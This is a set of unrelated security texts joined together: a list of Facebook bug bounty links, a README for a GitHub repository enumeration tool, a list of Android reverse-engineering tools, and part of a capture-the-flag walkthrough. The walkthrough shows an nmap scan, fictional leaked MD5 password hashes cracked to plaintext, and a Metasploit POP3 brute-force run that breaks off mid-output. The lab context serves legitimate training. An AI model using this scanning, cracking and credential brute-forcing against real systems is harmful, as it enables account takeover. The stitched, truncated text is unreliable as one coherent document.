device](https://medium.com/bugbountywriteup/facebook-bug-bounty-reading-whatsapp-contacts-list-without-unlocking-the-device-a40e9c660a42 "Reading WhatsApp contacts list without unlocking the device") ![---------------------------------------------------------------------](https://raw.githubusercontent.com/andreasbm/readme/master/assets/lines/aqua.png) <a name="WOP"></a> ### Workplace - [Privilege escalation vulnerability in Workplace](https://philippeharewood.com/a-walk-in-the-workplace/ "Privilege escalation vulnerability in Workplace") - [Facebook Workplace Admin account takeover vulnerability](https://www.youtube.com/watch?v=H) ![---------------------------------------------------------------------](https://raw.githubusercontent.com/andreasbm/readme/master/assets/lines/aqua.png) <a name="WTA"></a> ### Whitehat Test Accounts - [Whitehat Test Accounts Can Act as Hidden Admin with Business Manager Ad Accounts](https://medium.com/@rohitcoder/whitehat-test-accounts-can-act-as-hidden-admin-with-business-manager-ad-accounts-ce75ead5ffff) - [Ability to find Facebook employee’s test accounts which lead to the disclosure of internal information](https://ysamm.com/?p=638) ![---------------------------------------------------------------------](https://raw.githubusercontent.com/andreasbm/readme/master/assets/lines/aqua.png) <a name="FE"></a> ### Facebook Event - [Irremovable Guest in Facebook Event (Facebook Bug Bounty)](https://infosecwriteups.com/irremovable-guest-in-facebook-event-facebook-bug-bounty-e10e03c98cd5) ![---------------------------------------------------------------------](https://raw.githubusercontent.com/andreasbm/readme/master/assets/lines/aqua.png) <a name="FBP"></a> ### Facebook Business Page - [Hacking Facebook Invoice: How I Could've Bought Anything for Free from Facebook Business Pages](https://infosecwriteups.com/hacking-facebook-invoice-how-i-couldve-bought-anything-for-free-from-facebook-business-pages-42bcfaa73ec4) ![---------------------------------------------------------------------](https://raw.githubusercontent.com/andreasbm/readme/master/assets/lines/aqua.png) <a name="DOS"></a> ### DOS Attack - [Remotely Permanent Crash Any Instagram](https://www.yesnaveen.com/2022/05/remotely-permanent-crash-any-instagram.html?m=1) ![---------------------------------------------------------------------](https://raw.githubusercontent.com/andreasbm/readme/master/assets/lines/aqua.png) <a name="MBL"></a> ### Facebook/Instagram Mobile App - [Taking over the Call to Action button on Mobile Devices](https://www.ash-king.co.uk/blog/abusing-Facebooks-call-to-action-to-launch-internal-deeplinks) - [Facebook android webview vulnerability : Execute arbitrary javascript (xss) and load arbitrary website ](https://servicenger.com/mobile/facebook-android-webview-vulnerability/) - [Instagram vulnerability : Turn off all type of message requests using deeplink (Android)](https://servicenger.com/mobile/instagram-vulnerability-turn-off-message-requests-deeplink/) - [Facebook Messenger for android indirect thread deletion vulnerability.](https://servicenger.com/mobile/facebook-messenger-for-android-indirect-thread-deletion/) - [Multiple bugs allowed malicious Android Applications to takeover Facebook/Workplace accounts](https://ysamm.com/?p=729) - [Location disclosure in Facebook's Nearby Friends feature](https://otmastimi.medium.com/users-location-diclosure-in-the-nearby-friends-feature-fabd24be05cb "Location disclosure in Facebook's Nearby Friends feature") - [Accessing private videos and photos saved on a device](https://infosecwriteups.com/how-i-could-have-accessed-all-your-private-videos-photos-saved-inside-your) ![---------------------------------------------------------------------](https://raw.githubusercontent.com/andreasbm/readme/master/assets/lines/aqua.png) <a name="EXTRAS"></a> ### Some of the extra resources that you may want to look at !! - [Facebook Security Page](https://www.facebook.com/security/) - [Facebook Bug Bounty Program](https://www.facebook.com/whitehat/) - [Facebook Bug Bounty Write-ups](https://www.facebook.com/notes/facebook-bug-bounty/) - [Facebook Security Whitepapers](https://www.facebook.com/security/whitepapers) - [Facebook Engineering Blog](https://engineering.fb.com/) - [Facebook Open Source Projects](https://opensource.facebook.com/) - [Facebook CTF Platform](https://www.facebook.com/fbctf/) - [Facebook Security Tools and Scripts](https://github.com/facebookincubator) - [Facebook ThreatExchange Platform](https://www.threatexchange.fb.com/) - [Facebook Security Research Summit](https://www.facebook.com/notes/facebook-bug-bounty/facebook-security-research-summit-2018/1733463213382838/) - [Facebook Hacking Methods and Tools on GitHub](https://github.com/topics/facebook-hacking) - [Facebook Pentesting on Medium](https://medium.com/tag/facebook-pentesting) ![---------------------------------------------------------------------](https://raw.githubusercontent.com/andreasbm/readme/master/assets/lines/aqua.png) <a name="THX"></a> ### Thanks Special Thanks to :- - [@pwnwriter](https://github.com/pwnwriter) - [@phwd](https://twitter.com/phwd) - Jaiswalakansh - [Facebook BugBounty Group](https://www.facebook.com/groups/bugbountygroup), - and all the [contributors](https://github.com/corrupted-brain/Facebook-Bug-Bounty-Writeups/graphs/contributors)
<h1 align="center">enumerepo <a href="https://twitter.com/intent/tweet?text=enumerepo%20-%20Read%20a%20list%20of%20GitHub%20usernames%20and%2For%20organizations%2C%20verify%20their%20existence%2C%20and%20list%20the%20repositories%20owned%20by%20each%20one%20%40trick3st%0Ahttps%3A%2F%2Fgithub.com%2Ftrickest%2Fenumerepo&hashtags=bugbounty,bugbountytips,infosec"><img src="https://img.shields.io/badge/Tweet--lightgrey?logo=twitter&style=social" alt="Tweet" height="20"/></a></h1> <h3 align="center">List all public repositories for (valid) GitHub usernames</h3> ![enumerepo](enumerepo.png "enumerepo") Read a list of GitHub usernames and/or organizations, verify their existence, and list the repositories owned by each one. # Installation ## Binary Binaries are available in the [latest release](https://github.com/trickest/enumerepo/releases/latest). ## Docker ``` docker run quay.io/trickest/enumerepo ``` ## From source ``` go install github.com/trickest/enumerepo@latest ``` # Usage ``` -adjust-delay Automatically adjust time delay between requests -delay int Time delay after every GraphQL request [ms] -o string Output file name -silent Don't print output to stdout -token-file string File to read Github token from -token-string string Github token -usernames string File to read usernames from ``` ### Example ##### usernames.txt ``` trickest ``` ```shell script $ enumerepo -token-string $GITHUB_TOKEN -usernames usernames.txt -o repositories.json In progress... [ { "user": "https://github.com/trickest", "repos": [ { "url": "https://github.com/trickest/trickest-cli", "ssh_url": "[email protected]:trickest/trickest-cli.git", "language": "Go" }, { "url": "https://github.com/trickest/cve", "ssh_url": "[email protected]:trickest/cve.git", "language": "" }, { "url": "https://github.com/trickest/find-gh-poc", "ssh_url": "[email protected]:trickest/find-gh-poc.git", "language": "Go" }, { "url": "https://github.com/trickest/inventory", "ssh_url": "[email protected]:trickest/inventory.git", "language": "" }, { "url": "https://github.com/trickest/mksub", "ssh_url": "[email protected]:trickest/mksub.git", "language": "Go" }, { "url": "https://github.com/trickest/mkpath", "ssh_url": "[email protected]:trickest/mkpath.git", "language": "Go" }, { "url": "https://github.com/trickest/dsieve", "ssh_url": "[email protected]:trickest/dsieve.git", "language": "Go" }, { "url": "https://github.com/trickest/resolvers", "ssh_url": "[email protected]:trickest/resolvers.git", "language": "" }, { "url": "https://github.com/trickest/insiders", "ssh_url": "[email protected]:trickest/insiders.git", "language": "" }, { "url": "https://github.com/trickest/enumerepo", "ssh_url": "[email protected]:trickest/enumerepo.git", "language": "Go" }, { "url": "https://github.com/trickest/containers", "ssh_url": "[email protected]:trickest/containers.git", "language": "Shell" }, { "url": "https://github.com/trickest/safe-harbour", "ssh_url": "[email protected]:trickest/safe-harbour.git", "language": "" }, { "url": "https://github.com/trickest/mgwls", "ssh_url": "[email protected]:trickest/mgwls.git", "language": "Go" }, { "url": "https://github.com/trickest/log4j", "ssh_url": "[email protected]:trickest/log4j.git", "language": "" }, { "url": "https://github.com/trickest/action", "ssh_url": "[email protected]:trickest/action.git", "language": "Shell" } ] } ] Done! 15 repositories found. ``` # Report Bugs / Feedback We look forward to any feedback you want to share with us or if you're stuck with a problem you can contact us at [[email protected]](mailto:[email protected]). You can also create an [Issue](https://github.com/trickest/enumerepo/issues/new) or pull request on the Github repository. # Where does this fit in your methodology? Enumerepo is an integral part of the [Insiders](https://github.com/trickest/insiders) workflow many workflows in the Trickest store. Sign up on [trickest.com](https://trickest.com) to get access to these workflows or build your own from scratch! [<img src="./banner.png" />](https://trickest-access.paperform.co/)
# Tools ## Super Tools > All in one features of whole the world, learn at least one of them to be super hacker :) * [RMS](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security) - Runtime Mobile Security, powered by FRIDA, is a powerful web interface that helps you to manipulate Android and iOS Apps at Runtime. * [MOBSF](https://github.com/MobSF/Mobile-Security-Framework-MobSF) - Mobile Security Framework is an automated, all-in-one mobile application (Android/iOS/Windows) pen-testing, malware analysis and security assessment framework capable of performing static and dynamic analysis. * [Dexcalibur](https://github.com/FrenchYeti/dexcalibur) - an Android reverse engineering platform focus on instrumentation automation * [Drozer](https://github.com/FSecureLABS/drozer) - the leading security testing framework for Android. * [Appmon](https://github.com/dpnishant/appmon) - an automated framework for monitoring and tampering system API calls * [Objection](https://github.com/sensepost/objection) - a runtime mobile exploration toolkit, powered by Frida, built to help you assess the security posture of your mobile applications, without needing a jailbreak. * [MARA](https://github.com/xtiankisutsa/MARA_Framework) - a Mobile Application Reverse engineering and Analysis Framework. It is a tool that puts together commonly used mobile application reverse engineering and analysis tools * [AndroPyTool](https://github.com/alexMyG/AndroPyTool) - This is a tool for extracting static and dynamic features from Android APKs. It combines different well-known Android apps analysis tools such as DroidBox, FlowDroid, Strace, AndroGuard or VirusTotal analysis ## Static Analysis * [Apktool](https://ibotpeaches.github.io/Apktool/) - A tool for reverse engineering Android apk files * [Dex2jar](https://github.com/pxb1988/dex2jar) - Tools to work with android .dex and java .class files * [Jadx](https://github.com/skylot/jadx) - Command line and GUI tools for producing Java source code from Android Dex and Apk files * [DroidLysis](https://github.com/cryptax/droidlysis) - Property extractor for Android apps * [APKiD](https://github.com/rednaga/APKiD) - Android Application Identifier for Packers, Protectors, Obfuscators and Oddities * [Bytecode Viewer](https://github.com/Konloch/bytecode-viewer) - a lightweight user-friendly Java/Android Bytecode Viewer, Decompiler & More * [APK Studio](https://github.com/vaibhavpandeyvpz/apkstudio) - It features a friendly IDE-like layout including code editor with syntax highlighting support for .smali code files. * [APKLab](https://github.com/APKLab/APKLab) - The ultimate Android RE experience right inside your VS Code. * [Simplify](https://github.com/CalebFenton/simplify) - Generic Android Deobfuscator * [Smali](https://github.com/JesusFreke/smali) - smali/baksmali is an assembler/disassembler for the dex format used by dalvik, Android's Java VM implementation. * [Smali-CFGs](https://github.com/EugenioDelfa/Smali-CFGs) - Smali Control Flow Graph's * [Android backup extractor](https://github.com/nelenkov/android-backup-extractor) - Utility to extract and repack Android backups created with adb backup * [Androguard](https://github.com/androguard/androguard) - Androguard is a full python tool to play with Android files. * [Enjarify](https://github.com/Storyyeller/enjarify) - a tool for translating Dalvik bytecode to equivalent Java bytecode. This allows Java analysis tools to analyze Android applications. * [Fernflower](https://github.com/fesh0r/fernflower) - is the first actually working analytical decompiler for Java and probably for a high-level programming language in general. * [Redexer](https://github.com/plum-umd/redexer) - a reengineering tool that manipulates Android app binaries. This tool is able to parse a DEX file into an in-memory data structure; * [Andromeda](https://github.com/secrary/Andromeda) - makes initial reverse engineering work of Android applications bit faster and easier. Compared to other alternatives, it's written in C/C++ and has a noticeable performance advantage * [Obfuscapk](https://github.com/ClaudiuGeorgiu/Obfuscapk) - a modular Python tool for obfuscating Android apps without needing their source code * [Cutter](https://cutter.re/) - reverse-engineering platform while keeping the user experience in mind. ### - APK Vulnerability Scanners * [QARK](https://github.com/linkedin/qark) - Quick Android Review kit is designed to look for several security related Android application vulnerabilities, either in source code or packaged APKs * [APKLeaks](https://github.com/dwisiswant0/apkleaks) - Scanning APK file for URIs, endpoints & secrets. * [AndroidAnalysisGUI](https://github.com/honeynet/apkinspector/) * [ApkAnalyser](https://github.com/sonyxperiadev/ApkAnalyser) - ApkAnalyser is a static, virtual analysis tool for examining and validating the development work of your Android app * [Androwarn](https://github.com/maaaaz/androwarn/) - a tool whose main aim is to detect and warn the user about potential malicious behaviours developped by an Android application. * [ASAF](http://pag.arguslab.org/argus-saf) - Argus-SAF is a static analysis framework that we build in house to do security vetting for Android applications. * [Infer](https://github.com/facebook/infer) - a static analysis tool for Java, C++, Objective-C, and C. Infer is written in OCaml. * [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework) - an Android vulnerability analysis system that helps developers or hackers find potential security vulnerabilities in Android applications * [Nogotofail](https://github.com/google/nogotofail) - a network security testing tool designed to help developers and security researchers spot and fix weak TLS/SSL connections and sensitive cleartext traffic * [ClassyShark](https://github.com/google/android-classyshark) - supports multiple formats including libraries (.dex, .aar, .so), executables (.apk, .jar, .class) and all Android binary XMLs: AndroidManifest, resources, layouts etc. * [Apkx](https://github.com/b-mueller/apkx) - Decompilation for the Lazy, a Python wrapper to popular free dex converters and Java decompilers. * [Mobile Audit](https://github.com/mpast/mobileAudit) - Django application that performs SAST and Malware Analysis for Android APKs * [Quark-Engine](https://github.com/quark-engine/quark-engine) - Android malware analysis engine * [Super](https://github.com/SUPERAndroidAnalyzer/super) - Secure, Unified, Powerful and Extensible Rust Android Analyzer * [Trueseeing](https://github.com/monolithworks/trueseeing) - trueseeing is a fast, accurate and resillient vulnerabilities scanner for Android apps * [StaCoAn](https://github.com/vincentcox/StaCoAn) - a crossplatform tool which aids developers, bugbounty hunters and ethical hackers performing static code analysis on mobile applications ## Dynamic Analysis * [Frida](https://frida.re/) - Dynamic instrumentation toolkit for developers, reverse-engineers, and security researchers. * [Xposed](https://repo.xposed.info/module/de.robv.android.xposed.installer) - Xposed is a framework for modules that can change the behavior of the system and apps without touching any APKs * [Inspeckage](https://github.com/ac-pm/Inspeckage) - a tool developed to offer dynamic analysis of Android applications. By applying hooks to functions of the Android API, Inspeckage will help you understand what an Android application is doing at runtime * [CuckooDroid](https://github.com/idanr1986/cuckoo-droid) - Open Source software for automating analysis of suspicious files, CuckooDroid brigs to cuckoo the capabilities of execution and analysis of android application. * [DECAF](https://github.com/decaf-project/DECAF) - Dynamic Executable Code Analysis Framework * [ARTist](https://artist.cispa.saarland/) - a flexible open source instrumentation and hybrid analysis framework for Android apps and Android’s Java middleware. * [Magisk](https://forum.xda-developers.com/t/magisk-the-magic-mask-for-android.3473445/) - the mask for android, rooting and stuff ### - Debuggers * [AndBug](https://github.com/swdunlop/AndBug) - AndBug is a debugger targeting the Android platform's Dalvik virtual machine intended for reverse engineers and developers * [Radare2](https://github.com/radareorg/radare2) - Unix-Like Reverse Engineering Framework, dit from local hard drives, kernel memory, programs, remote gdb servers and be able to analyze, emulate, debug, modify and disassemble any binary. * [Dwarf](https://github.com/iGio90/Dwarf) - A debugger for reverse engineers, crackers and security analyst ### - Network Analysis * [apk-mitm](https://github.com/shroudedcode/apk-mitm) - Inspecting a mobile app's HTTPS traffic using a proxy is probably the easiest way to figure out how it works. * [mitmproxy](https://github.com/mitmproxy/mitmproxy) - is an interactive, SSL/TLS-capable intercepting proxy with a console interface for HTTP/1, HTTP/2, and WebSockets. * [tcpdump](https://www.androidtcpdump.com/) - a command line packet capture utility. It can capture packets from your Wi-Fi connection, cellular connections, and any other network connections * [Burp Suite](https://portswigger.net/burp) - Best in class for security testing And Http intercepting * [ZAP](https://www.zaproxy.org/) - Zed Attack Proxy * [Wireshark](https://www.wireshark.org/download.html) - is the world’s foremost and widely-used network protocol analyzer ### - Frida Powered * [Fridump](https://github.com/Nightbringer21/fridump) - using the Frida framework to dump accessible memory addresses from any platform supported * [Brida](https://github.com/federicodotta/Brida) - Brida is a Burp Suite Extension that, working as a bridge between Burp Suite and Frida * [r2frida](https://github.com/nowsecure/r2frida) - Radare2 and Frida better together. * [ghidra2frida](https://github.com/federicodotta/ghidra2frida) - Ghidra Extension that, working as a bridge between Ghidra and Frida [[ 1 ]](https://security.humanativaspa.it/ghidra2frida-the-new-bridge-between-ghidra-and-frida/) * [XposedFridaBridge](https://github.com/monkeylord/XposedFridaBridge) - A frida script implement XposedBridge & load xposed modules, without installing xposed framwork. * [RMS](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security) - Runtime Mobile Security, powered by FRIDA, is a powerful web interface that helps you to manipulate Android and iOS Apps at Runtime. * [Noia](https://github.com/0x742/noia) - Noia is a web-based tool whose main aim is to ease the process of browsing mobile applications sandbox and directly previewing SQLite databases, images, and more. Powered by frida.re. * [PAPIMonitor](https://github.com/Dado1513/PAPIMonitor) - Python API Monitor for Android apps is a python tool based on Frida for monitoring user-select APIs during the app execution * [House](https://github.com/nccgroup/house) - A runtime mobile application analysis toolkit with a Web GUI, powered by Frida, written in Python * [DroidBox](https://github.com/pjlantz/droidbox) - developed to offer dynamic analysis of Android applications * [Diff-gui](https://github.com/antojoseph/diff-gui) - Uses flask for a web framework , jinja for templates , redis for message que , server side push for real time updates and some js . * [Cloudspy](https://github.com/frida/cloudspy) - This is a proof-of-concept web app built on top of Frida. * [Aurora](https://github.com/frida/aurora) - This is a proof-of-concept web app built on top of Frida. * [Android Malware Sandbox](Android Malware Sandbox) - This project aim to provide a simple configurable and modulable sandbox for quickly sandbox known or unknown families of Android Malware. * [AAA](https://github.com/NotSoSecure/android_application_analyzer) - analyze the content of the android application in local storage. ## Online * [Oversecured](https://oversecured.com/) - automatically scans for all known mobile vulnerabilities, including arbitrary code execution, theft of arbitrary files and cross-site scripting * [Online MOBSF](https://mobsf.live/) - static analyze * [Virustotal](https://www.virustotal.com/gui/) - analyze suspicious files and URLs to detect types of malware, automatically * [kaspersky](https://opentip.kaspersky.com/) * [Bitbaan](https://lab.bitbaan.com/en/home) - the first iranian startup in malware analysis * [DeGuard](http://apk-deguard.com/) - Statistical Deobfuscation for Android * [Appdetonator](https://appdetonator.run/) * [pithus](https://beta.pithus.org/) - Mobile threat intelligence for the masses * [nowsecure](https://www.nowsecure.com/blog/2017/09/19/announcing-nowsecure-lab-automated/) * [opswat](https://metadefender.opswat.com/?lang=en) * [ostorlab](https://www.ostorlab.co/) * [quixxisecurity](https://quixxisecurity.com/) * [visualthreat](https://www.visualthreat.com/UIupload.action) * [jotti](https://virusscan.jotti.org/) * [appknox](https://www.appknox.com/) - not free ## Secure coding & Hardening * [Android check](https://github.com/noveogroup/android-check) - Static code analysis plugin for Android project. * [Findbugs Idea](https://plugins.jetbrains.com/plugin/3847-findbugs-idea) - Provides static byte code analysis to look for bugs in Java code from within IntelliJ IDEA * [Error Prone](https://github.com/google/error-prone) - a static analysis tool for Java that catches common programming mistakes at compile-time. * [Checkstyle](https://github.com/checkstyle/checkstyle) - Checkstyle is a tool for checking Java source code for adherence to a Code Standard or set of validation rules (best practices). * [Gradle static analysis plugin](https://github.com/novoda/gradle-static-analysis-plugin) - A Gradle plugin to easily apply the same setup of static analysis tools across different Android, Java or Kotlin projects. * [PMD](https://github.com/pmd/pmd) - a source code analyzer * [AMDH](https://github.com/SecTheTech/AMDH) - Android Mobile Device Hardening written with python3.
# Fowsniff CTF Hack this machine and get the flag. There are lots of hints along the way and is perfect for beginners! This boot2root machine is brilliant for new starters. You will have to enumerate this machine by finding open ports, do some online research (its amazing how much information Google can find for you), decoding hashes, brute forcing a pop3 login and much more! This will be structured to go through what you need to do, step by step. Make sure you are connected to our network Credit to berzerk0 for creating this machine. This machine is used here with the explicit permission of the creator <3. # #2 - Using nmap, scan this machine. What ports are open? *Hint: `nmap -A -p- -sV 10.10.137.20`* Nmap discovers 4 open ports: ~~~ kali@kali:/data/Fowsniff_CTF$ nmap -Pn -sC -sV -A 10.10.137.20 Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-03 17:53 CEST Nmap scan report for 10.10.137.20 Host is up (0.044s latency). Not shown: 996 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 90:35:66:f4:c6:d2:95:12:1b:e8:cd:de:aa:4e:03:23 (RSA) | 256 53:9d:23:67:34:cf:0a:d5:5a:9a:11:74:bd:fd:de:71 (ECDSA) |_ 256 a2:8f:db:ae:9e:3d:c9:e6:a9:ca:03:b1:d7:1b:66:83 (ED25519) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) | http-robots.txt: 1 disallowed entry |_/ |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Fowsniff Corp - Delivering Solutions 110/tcp open pop3 Dovecot pop3d |_pop3-capabilities: SASL(PLAIN) TOP AUTH-RESP-CODE CAPA UIDL RESP-CODES USER PIPELINING 143/tcp open imap Dovecot imapd |_imap-capabilities: Pre-login LOGIN-REFERRALS ID ENABLE SASL-IR more have LITERAL+ post-login capabilities IMAP4rev1 listed OK AUTH=PLAINA0001 IDLE Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 21.43 seconds ~~~ # #3 - Using the information from the open ports. Look around. What can you find? Connecting to the web server reveals that the company has been attacked: ~~~ Fowsniff's internal system suffered a data breach that resulted in the exposure of employee usernames and passwords. Client information was not affected. Due to the strong possibility that employee information has been made publicly available, all employees have been instructed to change their passwords immediately. The attackers were also able to hijack our official @fowsniffcorp Twitter account. All of our official tweets have been deleted and the attackers may release sensitive information via this medium. We are working to resolve this at soon as possible. We will return to full capacity after a service upgrade. ~~~ Searching for the Twitter account (@fowsniffcorp) refered to in the message leads to https://twitter.com/fowsniffcorp where we can find a tweet with a link to https://pastebin.com/NrAqVeeX. Below is the content on Pastebin: ~~~ FOWSNIFF CORP PASSWORD LEAK ''~`` ( o o ) +-----.oooO--(_)--Oooo.------+ | | | FOWSNIFF | | got | | PWN3D!!! | | | | .oooO | | ( ) Oooo. | +---------\ (----( )-------+ \_) ) / (_/ FowSniff Corp got pwn3d by B1gN1nj4! No one is safe from my 1337 skillz! mauer@fowsniff:8a28a94a588a95b80163709ab4313aa4 mustikka@fowsniff:ae1644dac5b77c0cf51e0d26ad6d7e56 tegel@fowsniff:1dc352435fecca338acfd4be10984009 baksteen@fowsniff:19f5af754c31f1e2651edde9250d69bb seina@fowsniff:90dc16d47114aa13671c697fd506cf26 stone@fowsniff:a92b8a29ef1183192e3d35187e0cfabd mursten@fowsniff:0e9588cb62f4b6f27e33d449e2ba0b3b parede@fowsniff:4d6e42f56e127803285a0a7649b5ab11 sciana@fowsniff:f7fd98d380735e859f8b2ffbbede5a7e Fowsniff Corporation Passwords LEAKED! FOWSNIFF CORP PASSWORD DUMP! Here are their email passwords dumped from their databases. They left their pop3 server WIDE OPEN, too! MD5 is insecure, so you shouldn't have trouble cracking them but I was too lazy haha =P l8r n00bz! B1gN1nj4 ------------------------------------------------------------------------------------------------- This list is entirely fictional and is part of a Capture the Flag educational challenge. All information contained within is invented solely for this purpose and does not correspond to any real persons or organizations. Any similarities to actual people or entities is purely coincidental and occurred accidentally. ~~~ # #4 - Using Google, can you find any public information about them? *Hint: There is a pastebin with all of the company employees emails and hashes.* The content discloses email addresses and password hashes. ~~~ mauer@fowsniff:8a28a94a588a95b80163709ab4313aa4 mustikka@fowsniff:ae1644dac5b77c0cf51e0d26ad6d7e56 tegel@fowsniff:1dc352435fecca338acfd4be10984009 baksteen@fowsniff:19f5af754c31f1e2651edde9250d69bb seina@fowsniff:90dc16d47114aa13671c697fd506cf26 stone@fowsniff:a92b8a29ef1183192e3d35187e0cfabd mursten@fowsniff:0e9588cb62f4b6f27e33d449e2ba0b3b parede@fowsniff:4d6e42f56e127803285a0a7649b5ab11 sciana@fowsniff:f7fd98d380735e859f8b2ffbbede5a7e ~~~ # #5 - Can you decode these md5 hashes? You can even use sites like hashkiller to decode them. Using https://hashes.com/en/decrypt/hash, we can retrieve 8 passwords out of 9: ~~~ Email | MD5 hash | password ---|---|--- mauer@fowsniff | 8a28a94a588a95b80163709ab4313aa4 | mailcall mustikka@fowsniff | ae1644dac5b77c0cf51e0d26ad6d7e56 | bilbo101 tegel@fowsniff | 1dc352435fecca338acfd4be10984009 | apples01 baksteen@fowsniff | 19f5af754c31f1e2651edde9250d69bb | skyler22 seina@fowsniff | 90dc16d47114aa13671c697fd506cf26 | scoobydoo2 stone@fowsniff | a92b8a29ef1183192e3d35187e0cfabd | - mursten@fowsniff | 0e9588cb62f4b6f27e33d449e2ba0b3b | carp4ever parede@fowsniff | 4d6e42f56e127803285a0a7649b5ab11 | orlando12 sciana@fowsniff | f7fd98d380735e859f8b2ffbbede5a7e | 07011972 ~~~ # #6 - Using the usernames and passwords you captured, can you use metasploit to brute force the pop3 login? *Hint: In metasploit there is a packages called: auxiliary/scanner/pop3/pop3_login where you can enter all the usernames and passwords you found to brute force this machines pop3 service.* We can use Metasploit's `pop3_login` module to brute force the POP3 service using the credentials found previously. ~~~ kali@kali:/data/Fowsniff_CTF/files$ msfconsole -q [*] Starting persistent handler(s)... msf5 > use auxiliary/scanner/pop3/pop3_login msf5 auxiliary(scanner/pop3/pop3_login) > show options Module options (auxiliary/scanner/pop3/pop3_login): Name Current Setting Required Description ---- --------------- -------- ----------- BLANK_PASSWORDS false no Try blank passwords for all users BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5 DB_ALL_CREDS false no Try each user/password couple stored in the current database DB_ALL_PASS false no Add all passwords in the current database to the list DB_ALL_USERS false no Add all users in the current database to the list PASSWORD no A specific password to authenticate with PASS_FILE /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt no The file that contains a list of probable passwords. RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>' RPORT 110 yes The target port (TCP) STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host THREADS 1 yes The number of concurrent threads (max one per host) USERNAME no A specific username to authenticate as USERPASS_FILE no File containing users and passwords separated by space, one pair per line USER_AS_PASS false no Try the username as the password for all users USER_FILE /usr/share/metasploit-framework/data/wordlists/unix_users.txt no The file that contains a list of probable users accounts. VERBOSE true yes Whether to print output for all attempts msf5 auxiliary(scanner/pop3/pop3_login) > set rhost 10.10.137.20 rhost => 10.10.137.20 msf5 auxiliary(scanner/pop3/pop3_login) > set user_file /data/Fowsniff_CTF/files/usernames.txt user_file => /data/Fowsniff_CTF/files/usernames.txt msf5 auxiliary(scanner/pop3/pop3_login) > set pass_file /data/Fowsniff_CTF/files/passwords.txt pass_file => /data/Fowsniff_CTF/files/passwords.txt msf5 auxiliary(scanner/pop3/pop3_login) > run [-] 10.10.137.20:110 - 10.10.137.20:110 - Failed: 'mauer:mailcall', '-ERR [AUTH] Authentication failed.' [!] 10.10.137.20:110 - No active DB -- Credential data will not be saved! [-] 10.10.137.20:110 - 10.10.137.20:110 - Failed: 'mauer:bilbo101', '-ERR [AUTH] Authentication failed.' [-] 10.10.137.20:110 - 10.10.137.20:110 - Failed: 'mauer:apples01', '-ERR [AUTH] Authentication failed.' [-] 10.10.137.20:110 - 10.10.137.20:110 - Failed: 'mauer:skyler22', '' [-] 10.10.137.20:110 - 10.10.137.20:110 - Failed: 'mauer:scoobydoo2', '' [-] 10.10.137.20:110 - 10.10.137.20:110 - Failed: 'mauer:carp4ever', '' [-] 10.10.137.20:110 - 10.10.137.20:110 - Failed: 'mauer:orlando12', '' [-] 10.10.137.20:110 - 10.10.137.20:110 - Failed: 'mauer:07011972', '' [-] 10.10.137.20:110 - 10.10.137.20:110 - Failed: 'mustikka:mailcall', '' [-] 10.10.137.20:110 - 10.10.137.20:110 - Failed: 'mustikka:bilbo101', '' [-] 10.10.137.20:110 - 10.10.137.20:110 - Failed: 'mustikka:apples01', '' [-] 10.10.137.20:110 - 10.10.137.20:110 - Failed: 'mustikka:skyler22', '' [-] 10.10.137.20:110 - 10.10.137.20:110 - Failed: 'mustikka:scoobydoo2', '' [-] 10.10.137.20:110 - 10.10.137.20:110 - Failed: 'mustikka:carp4ever', '' [-] 10.10.137.20:110 - 10.10.137.20:110 - Failed: 'mustikka:orlando12', '' [-] 10.10.137.20:110 - 10.10.137.20:110 - Failed: 'mustikka:07011972', '' [-] 10.10.137.20:110 - 10.10.137.20:110 - Failed: 'tegel:mailcall', '' [-] 10.10.137.20:110 - 10.10.137.20:110 - Failed: 'tegel:bilbo101', '' [-] 10.10.137.20:110 - 10.10.137.20:110 - Failed: 'tegel:apples01', '' [-] 10.10.137.20:110 - 10.10.137.20:110 - Failed: 'tegel:skyler22', '' [-] 10.10.137.20:110 - 10.10.137.20:110 - Failed: 'tegel:scoobydoo2', '' [-] 10.10.137.20:110 - 10.10.137.20:110 - Failed: 'tegel:carp4ever', '' [-] 10.10.137.20:110 - 10.10.137.20:110 - Failed: 'tegel:orlando12', '' [-] 10.10.137.20:110 - 10.10.137.20:110 - Failed: 'tegel:07011972', '' [-] 10.10.137.20:110 - 10.10.137.20:110 - Failed: 'baksteen:mailcall', '' [-] 10.10.137.20:110 - 10.10.137.20:110 - Failed: 'baksteen:bilbo101', '' [-] 10.10.137.20:110 - 10.10.137.20:110 - Failed: 'baksteen:apples01', '' [-] 10.10.137.20:110 - 10.10.137.20:110 - Failed: 'baksteen:skyler22', '' [-] 10.10.137.20:110 - 10.10.137.20:110 - Failed: 'baksteen:scoobydoo2', '' [-] 10.10.137.20:110 - 10.10.137.20:110 - Failed: 'baksteen:carp4ever', '' [-] 10.10.137.20:110 - 10.10.137.20:110 - Failed: 'baksteen:orlando12', '' [-] 10.10.137.20:110 - 10.10.137.20:110 - Failed: 'baksteen:07011972', '' [-] 10.10.137.20:110 - 10.10.137.20:110 - Failed: 'seina:mailcall', '' [-] 10.10.137.20:110 - 10.10.137.20:110 - Failed: 'seina:bilbo101', '' [-] 10.10.137.20:110 - 10.10.137.20:110 - Failed: 'seina:apples01', '' [-] 10.10.137.20:110 - 10.10.137.20:110 - Failed: 'seina:skyler22', '' [+] 10.10.137.20:110 - 10.10.137.20:110 - Success: 'seina:scoobydoo2' '+OK Logged in. ' [-] 10.10.137.20:110 - 10.10.137.20:110 - Failed: 'stone:mailcall', '-ERR [AUTH] Authentication failed.' [-] 10.10.137.20:110 - 10.10.137.20:110 - Failed: 'stone:bilbo101', '-ERR [AUTH] Authentication failed.' [-] 10.10.137.20:110 - 10.10.137.20:110 - Failed: 'stone:apples01', '-ERR [AUTH] Authentication failed.' [-] 